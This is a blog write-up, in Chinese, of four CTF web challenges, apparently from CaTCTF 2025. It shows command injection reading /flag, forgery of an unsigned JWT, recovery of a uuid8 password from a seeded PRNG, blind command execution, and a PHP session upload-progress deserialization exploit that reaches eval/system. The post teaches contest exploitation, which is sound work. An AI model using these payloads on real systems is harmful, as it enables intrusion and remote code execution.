搜索文章

输入标题或内容中的关键词。

← 回到技术手记
WEB安全

CaTCTF 2025 Web 题解

gemhack··14 分钟阅读

本文记录 CaTCTF 2025 Web 题目的考点和解题过程,示例中的地址与凭据来自比赛靶场。

1.宇宙玄机

**思路:**签到题难度,主要考察点在于选手对于linux系统的理解还有bash命令的使用。作为web先导题,主要是让选手熟悉在ctf比赛中,往往使用linux作为靶机,flag通常位于根路径下的flag文件中,有时候伴随着提权,需要选手想办法获取其中的flag。而base64作为常见的编码方式(注意不是加密),也需要选手对其熟悉。

**解题过程:**随便输入内容观察到返回的结果是base64编码过后的字符串,解码发现提示命令错误,说明这是一个bash命令行,所以直接cat /flag,得到结果解码回去得到flag

2.加菲猫最爱的游戏

思路:千层饼这道题设置了两种解法,一种是无加密的jwt,jwt是身份认证和前后端传输数据的常用数据格式,但是jwt是明文传输,只是包含了加密验证,但是本题错误地允许 alg: none 的无签名 JWT;这不是所有 JWT 库在缺少密钥时都会采用的默认行为。这个时候可以任意修改payload中的数据,实现伪造,但是作为一个前端题,也只是在后端判断之后返回data.flag=1,在前端弹窗flag。

还有一种解法是前端的fuckjs。fuckjs属于一种防止源码直接暴露的混淆编码,对于各种有趣的js混淆,可以看这个博主的网站aem1k – JS Hacks & Creativity还有他的github账号:aemkei (Martin Kleppe)

**解题过程:**根据提示查看cookie,发现是jwt,使用网站在线解析一下

image-20251111130304687

发现score直接记录在jwt中,并且无密钥校验成功,说明是无密钥的jwt,于是直接将score修改为10,然后加密回去之后替换原cookie,在玩一次小游戏,1/2的概率成功,失败则再次替换cookie尝试,然后得到flag。

如果观察js源码,会发现返回的响应中存在


{"consecutive_wrong":0,"correct":true,"correct_position":"right","score":1,"success":false}

如果success条件分支之下的语句被jsfuck混淆了,所以这里直接将jsfuck的代码复制到控制台执行,首先将js最后的括号删去,使其不作为函数调用,观察到return了一堆字符串,然后将这些字符串再解码,恢复原来的js代码,其中就包含了静态的flag。

image-20251111132342859

3.加菲猫的超级终端

**思路:**这道题是我做lilctf2025的时候遇到的一道题目,使用到了最新版本python3.14的新特性(当时3.14甚至还是测试版,还没有发布),在python3.14中,新增了 uuid8(),uuid8是uuid的一个标准,但是它支持高度的定制化,每个部分都支持自定义,可以查看源码实现如下:

def uuid8(a=None, b=None, c=None):
    """Generate a UUID from three custom blocks.

    * 'a' is the first 48-bit chunk of the UUID (octets 0-5);
    * 'b' is the mid 12-bit chunk (octets 6-7);
    * 'c' is the last 62-bit chunk (octets 8-15).

    When a value is not specified, a pseudo-random value is generated.
    """
    if a is None:
        import random
        a = random.getrandbits(48)
    if b is None:
        import random
        b = random.getrandbits(12)
    if c is None:
        import random
        c = random.getrandbits(62)
    int_uuid_8 = (a & 0xffff_ffff_ffff) << 80
    int_uuid_8 |= (b & 0xfff) << 64
    int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff
    # by construction, the variant and version bits are already cleared
    int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS
    return UUID._from_int(int_uuid_8)

如果没有传递a,b,c就会默认是使用random 伪随机数生成,但是这就存在了可利用的漏洞了,我们知道random函数只要固定seed,就会产生相同的随机数序列,所以实际上生成的uuid是不可靠的。

除了uuid8之外,其他考点还有.git源码泄露,bash无回显命令执行。

关键考点在于,首先你需要发现是git泄露,但是备忘录实际上隐藏在历史提交记录里面,如果你不熟悉git,或者是使用的工具不对,没有还原出整个仓库,那同样找不到备忘录。

对于无回显命令执行,很多人第一想法是反弹shell,但实际上,无回显往往有一个最简单的办法,就是使用cp命令将flag移动到前端可访问的文件夹中,对于flask框架而言,就是static路径下。这样就可以直接访问了。

**解题过程:**首先,打开网站,发现只有一个登录页面,f12查看了一下源码发现没有任何信息,对于web题来说应该是查看网络记录还有扫描一下路径,使用dirsearch扫描路径发现存在.git路径,证明存在git泄露,于是使用githack工具【https://github.com/BugScanTeam/GitHack.git】还原仓库,注意这里使用到的工具不是收藏量最多的那个,那个无法还原出整个仓库,只能还原最后一次提交的版本,但是这个工具很早就已经停止更新了。目前只有Python2的版本,有兴趣的同学可以尝试更新一下。查看是否有隐藏信息。在日志中发现有一个memorandum.txt文件提交了之后又删除了。这就是传说中的备忘录,版本回滚之后查看其中的内容。

image-20251113132006512

发现有如下内容:

2025年10月23日14时01分44秒:
    此时此刻,我在习概课上写了一个超级终端,为了保证这个超级终端的安全性,我使用了
    print(uuid.uuid8())生成了一个连我也记不下来的超级密码。
    我相信你们没有人能破解出来。

观察到时间精确到几分几秒,并且使用到了uuid8,于是可以生成当时的时间戳作为种子,还原出生成的uuid,得到登录密码

fe06cc37-abf0-821c-9eca-46b95ec3d21c

登录之后发现一个命令行,输入命令之后只会提示命令执行成功和失败,可以推断出是无回显的命令执行。这里有两种思路,一种就是弹shell,详细的命令可以看这个网页:https://forum.ywhack.com/shell.php。还有一种更为简单的办法就是使用cp或者是重定向直接将命令回显写入到前端可以访问到的页面,在本题中就是**static/**路径下,然后访问即可。于是payload为

cat /flag >> static/flag.txt

然后访问static/flag.txt即可获得flag。

4.upload or …

**思路:*这道题有点antiak-web的目的,主要考察点在于选手源码审计的能力以及对php代码的理解。源码审计是web题很重要的一个部分,和实战更接近,通常也是最难的部分。这道题的漏洞细节在于两个user.ini文件中,看到一个自定义的php类,并且使用到了__destruct()*函数,就可以基本确定考察点在于php unserialize漏洞,但是具体突破点在哪呢?其实是在session上,观察user.ini文件,可以发现uploadhandler.php和monitor.php两个文件使用到的配置不一样,重点在于两个文件使用到了不同的session存储方式

session.serialize_handler=php

session.serialize_handler=php_serialize

了解过session反序列化漏洞的知道,由于session存储和解析的不同,可以造成反序列化漏洞,但是本题没有session变量的赋值点,那该怎么传入session反序列化字符串呢?这就涉及到本题的考点,也就是无赋值session反序列化,具体说来就是PHP 5.4 起支持一个特性,如果开启了

session.upload_progress.enabled=1

则,在上传文件的时候同时上传一个和session.upload_progress.name指定的名字相同的变量,那么php就会生成一个session中的键值对,键名为session.upload_progress.prefix加上刚刚上传的session.upload_progress.name的值,键值为本次上传文件的信息,包括文件总大小,已经上传了的字节数,以便于用来实时监控上传文件的进度。用本题作为例子就是:

session.upload_progress.enabled=1

session.upload_progress.prefix=upload_progress_

session.upload_progress.name=PHP_SESSION_UPLOAD_PROGRESS

则再上传文件的时候同时上传如下

img

那么在$_SESSION变量中就会出现一个键值对

upload_progress_123=xxxxxxxxxx

具体如下:

image-20251113135239404

于是我们可以利用该特性,我们可以控制123这个值的位置,从而注入反序列化字符串。再利用monitor.php和uploadhandler.php脚本的解析格式的不同,触发反序列化漏洞,执行eval()危险函数。

**解题过程:**首先构造反序列化字符串:

<?php

class UploadProgressMonitor
{
    public $info = 'system("cat /flag");';
    private $progressKey;
    public function __construct($uploadId)
    {
        $this->progressKey = ini_get("session.upload_progress.prefix") . $uploadId;
    }

    public function getProgressData()
    {
        if (!isset($_SESSION[$this->progressKey])) {
            return [
                'percent' => null,
                'bytes_processed' => 0,
                'content_length' => 0,
                'status' => 'waiting'
            ];
        }

        $progress = $_SESSION[$this->progressKey];
        $contentLength = $progress['content_length'] ?$progress['content_length'] : 0;
        $bytesProcessed = $progress['bytes_processed'] ?$progress['bytes_processed'] : 0;
        $percent = $contentLength > 0 ? round(($bytesProcessed / $contentLength) * 100) : 0;

        $status = $percent >= 100 ? 'completed' : 'uploading';

        return [
            'percent' => $percent,
            'bytes_processed' => $bytesProcessed,
            'content_length' => $contentLength,
            'status' => $status
        ];
    }

    public function __destruct()
    {
        eval($this->info);
    }

}

$obj = new UploadProgressMonitor('123');
echo serialize($obj);
# O:21:"UploadProgressMonitor":2:{s:4:"info";s:20:"system("cat /flag");";s:34:"UploadProgressMonitorprogressKey";s:19:"upload_progress_123";}

然后触发上传之后,使用bp抓包,修改id

image-20251113140228792

然后访问monitor.php触发反序列化漏洞:

img

参考资料

评论发表评论

评论

发表评论

邮箱不会公开。标有 * 的项目为必填项。